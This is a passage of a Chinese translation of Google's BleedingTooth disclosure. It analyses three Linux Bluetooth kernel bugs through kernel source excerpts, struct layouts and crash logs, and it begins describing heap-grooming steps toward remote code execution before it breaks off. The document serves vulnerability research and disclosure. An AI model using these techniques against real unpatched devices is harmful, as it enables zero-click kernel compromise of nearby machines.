本文是翻译文章,文章原作者 Andy Nguyen 文章来源 https://google.github.io/
BleedingTooth 是 Linux 蓝牙子系统里零点击漏洞的一个集合,其可以允许未被授权的远程攻击者在近距离内对存在漏洞的设备以内核权限执行任意代码
概述
我注意到网络子系统已经通过 syzkaller 进行了广泛的模糊测试。但是像蓝牙这样的子系统没有被很好的覆盖。总体而言,对蓝牙主机攻击面的研究似乎相当有限 —— 大部分公开的蓝牙漏洞都只影响固件或者其本身的规范,并且只允许攻击者窃听和/或操作信息。
但是如果攻击者可以完全控制设备会怎么样?演示这个场景最出名的例子是 BlueBorne 和 BlueFrag。我给自己定的目标是研究 Linux 的蓝牙协议栈,拓展 BlueBorne 的发现,并且扩展 syzkaller 去 fuzz /dev/vhci
设备。
这篇博文描述了我深入研究代码,发现多个高危漏洞以及最后在 x86-64 Ubuntu 20.04.1 的目标上构造一个成熟的 RCE 漏洞利用链的过程(Video)。
补丁,严重性和安全公告
Google 直接联系了 BlueZ 和 Linux 蓝牙子系统维护者(intel),而不是让 Linux 内核安全团队去协调多方响应这一系列漏洞。Intel 随安全公告 INTEL-SA-00435发布了补丁,但是在信息披露的时候,此时补丁还没有包含在任何已发布的内核版本中。为了促进沟通,Linux 内核安全团队应该被通知,以后这种类型的漏洞也应该报告给他们。沟通的时间表在文章底部。有关的漏洞补丁分别如下:
- BadVibes(CVE-2020-24490)在 2020 年 7 月 30 日于主线分支提交时被修复。commit
- BadChoice(CVE-2020-12352)和 BadKarma(CVE-2020-12351)在 2020 年 9 月 25 日于 bluetooth-next 被修复:commits 1,2,3,4
单独来看,这些漏洞的严重性从中危到高危,但是将它们合并在一起就意味着严重的安全风险。本文详细介绍了这些风险。
漏洞
让我们简单的描述下蓝牙协议栈。蓝牙芯片使用 HCI(Host Controller Interface)协议与主机(操作系统)通信。常见的封包如下:
- 指令封包 —— 由主机发送给控制器
- 事件封包 —— 由控制器发送给主机以通知事件
- 数据封包 —— 通常传输 L2CAP(逻辑链路控制与适配协议)封包,实现传输层。
像 A2MP(AMP 管理协议)或 SMP(安全管理协议)这样的高级协议都是建立在 L2CAP 之上的。在 Linux 的实现中,所有这些协议都是在没有身份认证的情况下公开的,由于这些协议都存在于内核之中因此相关的漏洞就显得至关重要。
BadVibes: 基于堆的缓冲区溢出漏洞(CVE-2020-24490)
我通过手动检查 HCI 事件封包解析器发现了第一个漏洞(于 Linux 内核 4.19 引入)。HCI 事件封包由蓝牙芯片精心构造并发出,通常并不能被攻击者所控制(除非他们也能控制蓝牙固件)。然而,有两个非常相似的方法,hci_le_adv_report_evt()
和 hci_le_ext_adv_report_evt()
,作用是解析来自远程设备的播报。这些报告大小不一。
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/hci_event.c
static void hci_le_adv_report_evt(struct hci_dev *hdev, struct sk_buff *skb)
{
u8 num_reports = skb->data[0];
void *ptr = &skb->data[1];
hci_dev_lock(hdev);
while (num_reports--) {
struct hci_ev_le_advertising_info *ev = ptr;
s8 rssi;
if (ev->length <= HCI_MAX_AD_LENGTH) {
rssi = ev->data[ev->length];
process_adv_report(hdev, ev->evt_type, &ev->bdaddr,
ev->bdaddr_type, NULL, 0, rssi,
ev->data, ev->length);
} else {
bt_dev_err(hdev, "Dropping invalid advertising data");
}
ptr += sizeof(*ev) + ev->length + 1;
}
hci_dev_unlock(hdev);
}
...
static void hci_le_ext_adv_report_evt(struct hci_dev *hdev, struct sk_buff *skb)
{
u8 num_reports = skb->data[0];
void *ptr = &skb->data[1];
hci_dev_lock(hdev);
while (num_reports--) {
struct hci_ev_le_ext_adv_report *ev = ptr;
u8 legacy_evt_type;
u16 evt_type;
evt_type = __le16_to_cpu(ev->evt_type);
legacy_evt_type = ext_evt_type_to_legacy(hdev, evt_type);
if (legacy_evt_type != LE_ADV_INVALID) {
process_adv_report(hdev, legacy_evt_type, &ev->bdaddr,
ev->bdaddr_type, NULL, 0, ev->rssi,
ev->data, ev->length);
}
ptr += sizeof(*ev) + ev->length;
}
hci_dev_unlock(hdev);
}
注意两个方法是怎么调用 process_adv_report()
的,后者没有检查 ev->length
是否小于或等于 HCI_MAX_AD_LENGTH=31
。函数 process_adv_report()
接着会传递事件数据和长度来调用 store_pending_adv_report()
:
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/hci_event.c
static void process_adv_report(struct hci_dev *hdev, u8 type, bdaddr_t *bdaddr,
u8 bdaddr_type, bdaddr_t *direct_addr,
u8 direct_addr_type, s8 rssi, u8 *data, u8 len)
{
...
if (!has_pending_adv_report(hdev)) {
...
if (type == LE_ADV_IND || type == LE_ADV_SCAN_IND) {
store_pending_adv_report(hdev, bdaddr, bdaddr_type,
rssi, flags, data, len);
return;
}
...
}
...
}
最后,store_pending_adv_report()
子程序拷贝数据到 d->last_adv_data
:
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/hci_event.c
static void store_pending_adv_report(struct hci_dev *hdev, bdaddr_t *bdaddr,
u8 bdaddr_type, s8 rssi, u32 flags,
u8 *data, u8 len)
{
struct discovery_state *d = &hdev->discovery;
...
memcpy(d->last_adv_data, data, len);
d->last_adv_data_len = len;
}
观察 struct hci_dev
,我们可以看到缓冲区 last_adv_data
的长度与 HCI_MAX_AD_LENGTH
的大小相同,都不足以容纳扩展的广播数据。解析器理论上可以接收最多 255 字节的数据包并将其路由到该方法。如果可能的话,我们可以溢出 last_adv_data
并污染成员直到偏移 0xbaf。
// pahole -E -C hci_dev --hex bluetooth.ko
struct hci_dev {
...
struct discovery_state {
...
/* typedef u8 -> __u8 */ unsigned char last_adv_data[31]; /* 0xab0 0x1f */
...
} discovery; /* 0xa68 0x88 */
...
struct list_head {
struct list_head * next; /* 0xb18 0x8 */
struct list_head * prev; /* 0xb20 0x8 */
} mgmt_pending; /* 0xb18 0x10 */
...
/* size: 4264, cachelines: 67, members: 192 */
/* sum members: 4216, holes: 17, sum holes: 48 */
/* paddings: 10, sum paddings: 43 */
/* forced alignments: 1 */
/* last cacheline: 40 bytes */
} __attribute__((__aligned__(8)));
然而,hci_le_ext_adv_report_evt()
是否能够接收如此巨大的报告?巨大的播报很可能是预期内的,因为扩展广播解析器似乎有意显式删除了 31 字节的检查。另外,由于它在代码中很接近 hci_le_adv_report_evt()
,这检查不太可能被错误的忘记。事实确实如此,查看规范后,我们可以看到从 31 字节扩展到 255 字节是蓝牙五代的一个主要特性:
回想起蓝牙 4.0,广播有效载荷最大长度为 31 字节。在蓝牙 5 中,我们通过添加额外的广播信道和新的广播 PDU,将有效载荷增加到了 255 字节。
来源:https://www.bluetooth.com/blog/exploring-bluetooth5-whats-new-in-advertising/
因此该漏洞只有在受害者机器是蓝牙 5 芯片(这相对来说是一个“新”技术,只有在较新的笔记本上可用)以及受害者积极扫描广播数据(例如打开蓝牙设置并且搜索周围的设备)时才会触发。
使用两台支持蓝牙 5 的设备,我们可以很容易地确认漏洞并且观察到一个 panic报错类似于:
[ 118.490999] general protection fault: 0000 [#1] SMP PTI
[ 118.491006] CPU: 6 PID: 205 Comm: kworker/u17:0 Not tainted 5.4.0-37-generic #41-Ubuntu
[ 118.491008] Hardware name: Dell Inc. XPS 15 7590/0CF6RR, BIOS 1.7.0 05/11/2020
[ 118.491034] Workqueue: hci0 hci_rx_work [bluetooth]
[ 118.491056] RIP: 0010:hci_bdaddr_list_lookup+0x1e/0x40 [bluetooth]
[ 118.491060] Code: ff ff e9 26 ff ff ff 0f 1f 44 00 00 0f 1f 44 00 00 55 48 8b 07 48 89 e5 48 39 c7 75 0a eb 24 48 8b 00 48 39 f8 74 1c 44 8b 06 <44> 39 40 10 75 ef 44 0f b7 4e 04 66 44 39 48 14 75 e3 38 50 16 75
[ 118.491062] RSP: 0018:ffffbc6a40493c70 EFLAGS: 00010286
[ 118.491066] RAX: 4141414141414141 RBX: 000000000000001b RCX: 0000000000000000
[ 118.491068] RDX: 0000000000000000 RSI: ffff9903e76c100f RDI: ffff9904289d4b28
[ 118.491070] RBP: ffffbc6a40493c70 R08: 0000000093570362 R09: 0000000000000000
[ 118.491072] R10: 0000000000000000 R11: ffff9904344eae38 R12: ffff9904289d4000
[ 118.491074] R13: 0000000000000000 R14: 00000000ffffffa3 R15: ffff9903e76c100f
[ 118.491077] FS: 0000000000000000(0000) GS:ffff990434580000(0000) knlGS:0000000000000000
[ 118.491079] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 118.491081] CR2: 00007feed125a000 CR3: 00000001b860a003 CR4: 00000000003606e0
[ 118.491083] Call Trace:
[ 118.491108] process_adv_report+0x12e/0x560 [bluetooth]
[ 118.491128] hci_le_meta_evt+0x7b2/0xba0 [bluetooth]
[ 118.491134] ? __wake_up_sync_key+0x1e/0x30
[ 118.491140] ? sock_def_readable+0x40/0x70
[ 118.491143] ? __sock_queue_rcv_skb+0x142/0x1f0
[ 118.491162] hci_event_packet+0x1c29/0x2a90 [bluetooth]
[ 118.491186] ? hci_send_to_monitor+0xae/0x120 [bluetooth]
[ 118.491190] ? skb_release_all+0x26/0x30
[ 118.491207] hci_rx_work+0x19b/0x360 [bluetooth]
[ 118.491211] ? __schedule+0x2eb/0x740
[ 118.491217] process_one_work+0x1eb/0x3b0
[ 118.491221] worker_thread+0x4d/0x400
[ 118.491225] kthread+0x104/0x140
[ 118.491229] ? process_one_work+0x3b0/0x3b0
[ 118.491232] ? kthread_park+0x90/0x90
[ 118.491236] ret_from_fork+0x35/0x40
这个报错意味着我们可以完全控制 struct hci_dev
。一个有趣的可用来污染的指针是 mgmt_pending->next
,因为它就是 struct mgmt_pending_cmd
类型的,其包含了函数指针 cmd_complete()
:
// pahole -E -C mgmt_pending_cmd --hex bluetooth.ko
struct mgmt_pending_cmd {
...
int (*cmd_complete)(struct mgmt_pending_cmd *, u8); /* 0x38 0x8 */
/* size: 64, cachelines: 1, members: 8 */
/* sum members: 62, holes: 1, sum holes: 2 */
};
举个例子,这个处理例程可以通过中止 HCI 连接来触发。然而,为了能够成功重定向到 mgmt_pending->next
指针,我们需要一个额外的信息泄漏漏洞,我们将在下一章节学习这个。
BadChoice: 基于栈的信息泄漏(CVE-2020-12352)
BadVibes 漏洞还不足以强大到可以转化成任意的 读/写 原语,而且似乎没有办法用它来泄漏受害者的内存布局。原因是,唯一可以被污染破坏的成员指向了循环链表。顾名思义,这些数据结构是循环的,因此我们在没有办法确保它们最终指向它们开始的地方之前,我们无法改变它们。当受害者的内存布局是随机的时候,想要实现漏洞利用就很困难。虽然内核中有一些资源是在静态地址中分配的,但它们的内容很可能是不可控制的。因此,为了能够利用 BadVibes,我们首先需要对内存布局有一个概念。更具体地说,我们需要泄漏一些受害者的内存地址,其指向的内容我们要能控制或者至少能够预测。
通常来说,信息泄漏是通过越界访问来实现的,使用未初始化的变量或者,最近流行的,通过执行侧信道/时序攻击。后者可能比较难实现,因为传输的过程会有误差。相反,我们聚焦关注一开始的两个有漏洞的类实现,遍历所有的可将信息发送回攻击者的子程序,查看它们之中是否有越界数据或者未初始化的内存存在。
我在分析 a2mp_send()
调用的时候在 A2MP 协议的 A2MP_GETINFO_REQ
指令中发现了第二个漏洞。这个漏洞在 Linux 内核 3.6 的时候就已经存在了,并且如果 CONFIG_BT_HS=y
该漏洞是可利用的,而 CONFIG_BT_HS
默认是开启的。
让我们来分析一下被 A2MP_GETINFO_REQ
指令调用的子程序 a2mp_getinfo_req()
:
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/a2mp.c
static int a2mp_getinfo_req(struct amp_mgr *mgr, struct sk_buff *skb,
struct a2mp_cmd *hdr)
{
struct a2mp_info_req *req = (void *) skb->data;
...
hdev = hci_dev_get(req->id);
if (!hdev || hdev->dev_type != HCI_AMP) {
struct a2mp_info_rsp rsp;
rsp.id = req->id;
rsp.status = A2MP_STATUS_INVALID_CTRL_ID;
a2mp_send(mgr, A2MP_GETINFO_RSP, hdr->ident, sizeof(rsp),
&rsp);
goto done;
}
...
}
该子程序通过使用 HCI 设备 id 来请求 AMP 控制器的信息。然而,如果设备 id 是无效的或者不是 HCI_AMP
类型,错误路径会被提取,意味着受害者机器会发还给我们 status A2MP_STATUS_INVALID_CTRL_ID
。遗憾的是,struct a2mp_info_rsp
由很多的成员组成而不仅仅是 id 和 status。并且我们可以看到,响应的结构并没有被完全初始化。因此,内核栈的 16 字节可以被攻击者泄漏,其中也许包含了受害者机器的敏感信息。
// pahole -E -C a2mp_info_rsp --hex bluetooth.ko
struct a2mp_info_rsp {
/* typedef __u8 */ unsigned char id; /* 0 0x1 */
/* typedef __u8 */ unsigned char status; /* 0x1 0x1 */
/* typedef __le32 -> __u32 */ unsigned int total_bw; /* 0x2 0x4 */
/* typedef __le32 -> __u32 */ unsigned int max_bw; /* 0x6 0x4 */
/* typedef __le32 -> __u32 */ unsigned int min_latency; /* 0xa 0x4 */
/* typedef __le16 -> __u16 */ short unsigned int pal_cap; /* 0xe 0x2 */
/* typedef __le16 -> __u16 */ short unsigned int assoc_size; /* 0x10 0x2 */
/* size: 18, cachelines: 1, members: 7 */
/* last cacheline: 18 bytes */
} __attribute__((__packed__));
通过在发送 A2MP_GETINFO_REQ
之前发送有趣的指令来填充栈帧可以利用这个漏洞。这里有趣的指令指的是那些将指针放在重用 a2mp_getinfo_req()
函数后的同一个栈帧中的指令。通过这种做法,未初始化的变量可能会包含先前推入栈的指针。
注意,以 CONFIG_INIT_STACK_ALL_PATTERN=y
编译的内核不太容易受到这样的攻击。举个例子,在 ChromeOS 上,BadChoice 只能返回 0xAA。然而,这个选项在流行的 Linux 发行版上似乎并没有默认启用。
BadKarma: 基于堆类型的混淆(CVE-2020-12351)
我在尝试去触发 BadChoice 确认其可利用时发现了第三个漏洞。受害者的机器意外崩溃了并输出以下调用栈跟踪:
[ 445.440736] general protection fault: 0000 [#1] SMP PTI
[ 445.440740] CPU: 4 PID: 483 Comm: kworker/u17:1 Not tainted 5.4.0-40-generic #44-Ubuntu
[ 445.440741] Hardware name: Dell Inc. XPS 15 7590/0CF6RR, BIOS 1.7.0 05/11/2020
[ 445.440764] Workqueue: hci0 hci_rx_work [bluetooth]
[ 445.440771] RIP: 0010:sk_filter_trim_cap+0x6d/0x220
[ 445.440773] Code: e8 18 e1 af ff 41 89 c5 85 c0 75 62 48 8b 83 10 01 00 00 48 85 c0 74 56 49 8b 4c 24 18 49 89 5c 24 18 4c 8b 78 18 48 89 4d b0 <41> f6 47 02 08 0f 85 41 01 00 00 0f 1f 44 00 00 49 8b 47 30 49 8d
[ 445.440776] RSP: 0018:ffffa86b403abca0 EFLAGS: 00010286
[ 445.440778] RAX: ffffffffc071cc50 RBX: ffff8e95af6d7000 RCX: 0000000000000000
[ 445.440780] RDX: 0000000000000000 RSI: ffff8e95ac533800 RDI: ffff8e95af6d7000
[ 445.440781] RBP: ffffa86b403abd00 R08: ffff8e95b452f0e0 R09: ffff8e95b34072c0
[ 445.440782] R10: ffff8e95acd57818 R11: ffff8e95b456ae38 R12: ffff8e95ac533800
[ 445.440784] R13: 0000000000000000 R14: 0000000000000001 R15: 30478b4800000208
[ 445.440786] FS: 0000000000000000(0000) GS:ffff8e95b4500000(0000) knlGS:0000000000000000
[ 445.440788] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 445.440789] CR2: 000055f371aa94a8 CR3: 000000022dc0a005 CR4: 00000000003606e0
[ 445.440791] Call Trace:
[ 445.440817] ? __l2cap_chan_add+0x88/0x1c0 [bluetooth]
[ 445.440838] l2cap_data_rcv+0x351/0x510 [bluetooth]
[ 445.440857] l2cap_data_channel+0x29f/0x470 [bluetooth]
[ 445.440875] l2cap_recv_frame+0xe5/0x300 [bluetooth]
[ 445.440878] ? skb_release_all+0x26/0x30
[ 445.440896] l2cap_recv_acldata+0x2d2/0x2e0 [bluetooth]
[ 445.440914] hci_rx_work+0x186/0x360 [bluetooth]
[ 445.440919] process_one_work+0x1eb/0x3b0
[ 445.440921] worker_thread+0x4d/0x400
[ 445.440924] kthread+0x104/0x140
[ 445.440927] ? process_one_work+0x3b0/0x3b0
[ 445.440929] ? kthread_park+0x90/0x90
[ 445.440932] ret_from_fork+0x35/0x40
查看一下 l2cap_data_rcv()
,当 ERTM(增强型重传模式)或者流模式被使用时,我们可以看到 sk_filter()
被调用(类似于 TCP):
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/l2cap_core.c
static int l2cap_data_rcv(struct l2cap_chan *chan, struct sk_buff *skb)
{
...
if ((chan->mode == L2CAP_MODE_ERTM ||
chan->mode == L2CAP_MODE_STREAMING) && sk_filter(chan->data, skb))
goto drop;
...
}
这确实就是 A2MP 信道的情况(信道可以与网络端口做对照):
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/a2mp.c
static struct l2cap_chan *a2mp_chan_open(struct l2cap_conn *conn, bool locked)
{
struct l2cap_chan *chan;
int err;
chan = l2cap_chan_create();
if (!chan)
return NULL;
...
chan->mode = L2CAP_MODE_ERTM;
...
return chan;
}
...
static struct amp_mgr *amp_mgr_create(struct l2cap_conn *conn, bool locked)
{
struct amp_mgr *mgr;
struct l2cap_chan *chan;
mgr = kzalloc(sizeof(*mgr), GFP_KERNEL);
if (!mgr)
return NULL;
...
chan = a2mp_chan_open(conn, locked);
if (!chan) {
kfree(mgr);
return NULL;
}
mgr->a2mp_chan = chan;
chan->data = mgr;
...
return mgr;
}
查看 amp_mgr_create()
,问题所在非常清晰。即,chan->data
的类型是 struct amp_mgr
,鉴于 sk_filter()
获取一个 struct sock
类型的参数,这意味着我们有了一个设计上的远程类型混淆漏洞。这个混淆漏洞在 Linux 内核 4.8 引入,到目前为止仍然没有被更改。
利用
BadChoice 漏洞可以用 BadVibes 和 BadKarma 漏洞来链接最终实现 RCE。在这篇博文中,我们将只会关注使用 BadKarma 的方法,有以下理由:
- 这并不仅限于蓝牙 5。
- 这不需要受害者去扫描。
- 这可能实现特定设备的针对性攻击
BadVibes 攻击,换句话说,只是一个广播,因此只有一台机器会被成功利用,其余监听到同一条消息的设备都将崩溃。
绕过 BadKarma
讽刺的是,为了利用 BadKarma,我们首先得摆脱 BadKarma。回顾刚才我们有一个设计上的类型混淆漏洞,只要 A2MP 信道被配置为 ERTM/流模式,在 sk_filter()
中不触发 panic 的情况下,我们就不能通过 l2cap_data_rcv()
到达 A2MP 的子程序。
查看 l2cap_data_channel()
,我们会发现采取不同的路由的唯一一个途径是重新配置信道模式为 L2CAP_MODE_BASIC
。这将“基本上”允许我们直接调用A2MP 接收处理程序:
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/l2cap_core.c
static void l2cap_data_channel(struct l2cap_conn *conn, u16 cid,
struct sk_buff *skb)
{
struct l2cap_chan *chan;
chan = l2cap_get_chan_by_scid(conn, cid);
...
switch (chan->mode) {
...
case L2CAP_MODE_BASIC:
/* If socket recv buffers overflows we drop data here
* which is *bad* because L2CAP has to be reliable.
* But we don't have any other choice. L2CAP doesn't
* provide flow control mechanism. */
if (chan->imtu < skb->len) {
BT_ERR("Dropping L2CAP data: receive buffer overflow");
goto drop;
}
if (!chan->ops->recv(chan, skb))
goto done;
break;
case L2CAP_MODE_ERTM:
case L2CAP_MODE_STREAMING:
l2cap_data_rcv(chan, skb);
goto done;
...
}
...
}
然而,重新配置信道模式是可能的吗?根据规范,对于 A2MP 信道使用 ERTM 或者流模式是强制性的。
对于任何建立在 AMP 上的 L2CAP 信道,蓝牙核心通过强制使用增强型重传模式或者流模式来保持蓝牙核心上的协议和配置一定程度上的可靠性。
来源:https://www.bluetooth.org/DocMan/handlers/DownloadDoc.ashx?doc_id=421043
由于一些原因,在规范中并没有描述这个事实,不过 Linux 的实现中确实允许我们将需要的信道模式封装在 L2CAP_CONF_UNACCEPT
配置响应中来实现从任意的信道模式切换到 L2CAP_MODE_BASIC
:
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/l2cap_core.c`
static inline int l2cap_config_rsp(struct l2cap_conn *conn,
struct l2cap_cmd_hdr *cmd, u16 cmd_len,
u8 *data)
{
struct l2cap_conf_rsp *rsp = (struct l2cap_conf_rsp *)data;
...
scid = __le16_to_cpu(rsp->scid);
flags = __le16_to_cpu(rsp->flags);
result = __le16_to_cpu(rsp->result);
...
chan = l2cap_get_chan_by_scid(conn, scid);
if (!chan)
return 0;
switch (result) {
...
case L2CAP_CONF_UNACCEPT:
if (chan->num_conf_rsp <= L2CAP_CONF_MAX_CONF_RSP) {
...
result = L2CAP_CONF_SUCCESS;
len = l2cap_parse_conf_rsp(chan, rsp->data, len,
req, sizeof(req), &result);
...
}
fallthrough;
...
}
...
}
这个函数会调用子程序 l2cap_parse_conf_rsp()
。如果选项类型 L2CAP_CONF_RFC
被指定,并且当前的信道模式不是 L2CAP_MODE_BASIC
就有机会更改为我们想要的:
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/l2cap_core.c
static int l2cap_parse_conf_rsp(struct l2cap_chan *chan, void *rsp, int len,
void *data, size_t size, u16 *result)
{
...
while (len >= L2CAP_CONF_OPT_SIZE) {
len -= l2cap_get_conf_opt(&rsp, &type, &olen, &val);
if (len < 0)
break;
switch (type) {
...
case L2CAP_CONF_RFC:
if (olen != sizeof(rfc))
break;
memcpy(&rfc, (void *)val, olen);
...
break;
...
}
}
if (chan->mode == L2CAP_MODE_BASIC && chan->mode != rfc.mode)
return -ECONNREFUSED;
chan->mode = rfc.mode;
...
}
自然而然的问题是,在发送配置响应之前,我们是否首先需要接收来自受害者的配置请求?这似乎是协议的一个弱点 —— 答案是否定的。此外,无论受害者与我们如何交涉,我们可以发送回一个 L2CAP_CONF_UNACCEPT
响应,受害者将会愉快地接受我们的建议。
通过配置响应,我们现在能够到达 A2MP 指令并且能够利用 BadChoice 取回所有我们需要的信息(看之后的章节)。一旦我们准备去触发这个类型混淆,我们可以简单地通过断开和连接信道来重新创建 A2MP 信道,并将信道模式设置回 BadKarma 所需的 ERTM。
探索 sk_filter()
按照我们的理解,BadKarma 的问题是将一个 struct amp_mgr
对象传递给了 sk_filter()
,然而预期的对象是 struct sock
。换句话说,在 struct sock
中的字段错误地映射到了 struct amp_mgr
的字段。因此,这将导致解引用无效的指针最终造成 panic 错误。回顾之前看到的 panic 日志,这里记录了发生了什么,直接导致了 BadKarma 的发现。
我们能否控制指针解引用,或者说控制其他在 struct amp_mgr
内的成员以影响 sk_filter()
的代码流?让我们查看一下 sk_filter()
并追踪 struct sock *sk
的用法去理解子程序中相关的成员。
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/filter.h
static inline int sk_filter(struct sock *sk, struct sk_buff *skb)
{
return sk_filter_trim_cap(sk, skb, 1);
}
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/core/filter.c
int sk_filter_trim_cap(struct sock *sk, struct sk_buff *skb, unsigned int cap)
{
int err;
struct sk_filter *filter;
/*
* If the skb was allocated from pfmemalloc reserves, only
* allow SOCK_MEMALLOC sockets to use it as this socket is
* helping free memory
*/
if (skb_pfmemalloc(skb) && !sock_flag(sk, SOCK_MEMALLOC)) {
NET_INC_STATS(sock_net(sk), LINUX_MIB_PFMEMALLOCDROP);
return -ENOMEM;
}
err = BPF_CGROUP_RUN_PROG_INET_INGRESS(sk, skb);
if (err)
return err;
err = security_sock_rcv_skb(sk, skb);
if (err)
return err;
rcu_read_lock();
filter = rcu_dereference(sk->sk_filter);
if (filter) {
struct sock *save_sk = skb->sk;
unsigned int pkt_len;
skb->sk = sk;
pkt_len = bpf_prog_run_save_cb(filter->prog, skb);
skb->sk = save_sk;
err = pkt_len ? pskb_trim(skb, max(cap, pkt_len)) : -EPERM;
}
rcu_read_unlock();
return err;
}
sk
的第一个用途是在 sock_flag()
,尽管该函数只是检查一些标识位,仅在 skb_pfmemalloc()
返回 true 时发生。相反,让我们看一下 BPF_CGROUP_RUN_PROG_INET_INGRESS()
,看看它对套接字结构做了什么:
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/bpf-cgroup.h
#define BPF_CGROUP_RUN_PROG_INET_INGRESS(sk, skb) \
({ \
int __ret = 0; \
if (cgroup_bpf_enabled) \
__ret = __cgroup_bpf_run_filter_skb(sk, skb, \
BPF_CGROUP_INET_INGRESS); \
\
__ret; \
})
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/kernel/bpf/cgroup.c
int __cgroup_bpf_run_filter_skb(struct sock *sk,
struct sk_buff *skb,
enum bpf_attach_type type)
{
...
if (!sk || !sk_fullsock(sk))
return 0;
if (sk->sk_family != AF_INET && sk->sk_family != AF_INET6)
return 0;
...
}
同样地,sk_fullsock()
也会检查一些标志位,没有做任何有趣的事情。进一步探索,注意,为了继续运行 sk->sk_family
必须是 AF_INET=2
或者 AF_INET6=10
。该字段位于 struct sock
偏移 0x10 处:
// pahole -E -C sock --hex bluetooth.ko
struct sock {
struct sock_common {
...
short unsigned int skc_family; /* 0x10 0x2 */
...
} __sk_common; /* 0 0x88 */
...
struct sk_filter * sk_filter; /* 0x110 0x8 */
...
/* size: 760, cachelines: 12, members: 88 */
/* sum members: 747, holes: 4, sum holes: 8 */
/* sum bitfield members: 40 bits (5 bytes) */
/* paddings: 1, sum paddings: 4 */
/* forced alignments: 1 */
/* last cacheline: 56 bytes */
} __attribute__((__aligned__(8)));
观察 struct amp_mgr
的偏移 0x10 处,我们认识到该字段映射到了 struct l2cap_conn
指针:
// pahole -E -C amp_mgr --hex bluetooth.ko
struct amp_mgr {
...
struct l2cap_conn * l2cap_conn; /* 0x10 0x8 */
...
/* size: 112, cachelines: 2, members: 11 */
/* sum members: 110, holes: 1, sum holes: 2 */
/* last cacheline: 48 bytes */
};
因为这是一个指向堆对象的指针,堆对象与分配大小对齐(最小 32 字节),这意味着该指针的较低字节不能具有 __cgroup_bpf_run_filter_skb()
所要求的值 2 或 10。经证实,我们知道这个子程序永远返回 0 无论其他字段有什么值。同样地,子程序 security_sock_rcv_skb()
要求相同的条件,否则返回 0 。
这使得 sk->sk_filter
成为唯一可能被污染破坏的成员。我们之后会看到它将会在控制 struct sk_filter
上很有用,但是首先,注意 sk_filter
位于偏移 0x110 ,然而 struct amp_mgr
的大小只有 112 = 0x70 字节。难道这不是我们所能控制的吗?既肯定也否定 —— 通常情况下我们不能控制它,然而如果我们有一个途径去构造堆,这样就很容易完全控制指针了。细致地说,struct amp_mgr
大小有 112 字节(在 65 到 128 之间),因此它被分配在 kmalloc-128 slab 中。通常情况下,在 slab 的内存块不包含像前面块头一样的元信息,因为目标是最小化碎片。同时,内存块是连续的,因此为了控制位于偏移 0x110 的指针,我们必须取得一个堆群,那里有我们想要的位于 struct amp_mgr
之后第二个块的 0x10 偏移处的指针。
寻找堆原语
为了能够构造 kmalloc-128 slab,我们需要一个指令能够分配(最好是能够控制)65 —— 128 字节的内存。与其他 L2CAP 实现不同,Linux 实现中堆的使用非常少。快速搜索 /net/bluetooth/
中的 kmalloc()
或 kzalloc()
没有什么用 —— 或者至少没有什么能够控制或以跨过多个命令的形式存在。我们需要的原语是一个可以分配任意字节的内存,并拷贝攻击者控制的数据,在我们释放它之前可以一直保留。
这听起来像是 kmemdup()
,对吗?出人意料的是,A2MP 协议恰好给我们提供了这样一个原语。我们可以发起一个 A2MP_GETAMPASSOC_RSP
指令来使用 kmemdup()
去复制内存并且保存内存地址于一个控制的结构:
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/a2mp.c
static int a2mp_getampassoc_rsp(struct amp_mgr *mgr, struct sk_buff *skb,
struct a2mp_cmd *hdr)
{
...
u16 len = le16_to_cpu(hdr->len);
...
assoc_len = len - sizeof(*rsp);
...
ctrl = amp_ctrl_lookup(mgr, rsp->id);
if (ctrl) {
u8 *assoc;
assoc = kmemdup(rsp->amp_assoc, assoc_len, GFP_KERNEL);
if (!assoc) {
amp_ctrl_put(ctrl);
return -ENOMEM;
}
ctrl->assoc = assoc;
ctrl->assoc_len = assoc_len;
ctrl->assoc_rem_len = assoc_len;
ctrl->assoc_len_so_far = 0;
amp_ctrl_put(ctrl);
}
...
}
为了让 amp_ctrl_lookup()
返回一个控制的结构,我们必须使用 A2MP_GETINFO_RSP
指令,将它加入到列表中。
这几乎是一个完美的堆原语,因为大小和内容可以是任意的!唯一的缺点就是没有合适的原语可以允许我们去释放这些分配的内存。目前看起来只有关闭 HCI 连接这一条路来实现释放它们,这是一个比较慢的操作。然而,要理解我们如何以一种受控的方式释放分配(例如,释放每秒钟的分配以创建漏洞),我们需要花费更多的精力去关注内存管理器。注意,当我们将一个新的内存地址存储于 ctrl->assoc
之中,我们并不释放之前存储在那里的内存块。当我们覆盖它时,这个内存块的内容就会被丢失。为了利用这一行为,我们可以用一个不同大小的分配来重写每一秒的 ctrl->assoc
,一旦我们关闭了 HCI 连接,另一半将被释放,而我们覆盖的部分仍然被分配。
控制越界读取
所以为什么我们想要有一个堆原语?回顾一下这个想法是源自于我们需要构造堆并且实现一个群,其中我们控制的内存块位于距离 struct amp_mgr
对象的一个内存块的位置。通过这种做法,我们可以控制位于偏移 0x110 处的的值,它代表了 sk_filter
指针。因此,当我们触发类型混淆时,我们可以解引用一个任意的指针。
以下基本技术在使用 SLUB 分配器的 Ubuntu 上可以相当可靠地工作:
- 分配大量大小为 128 字节的对象填充 kmalloc-128 slabs。
- 创建一个新的 A2MP 信道并且希望
struct amp_mgr
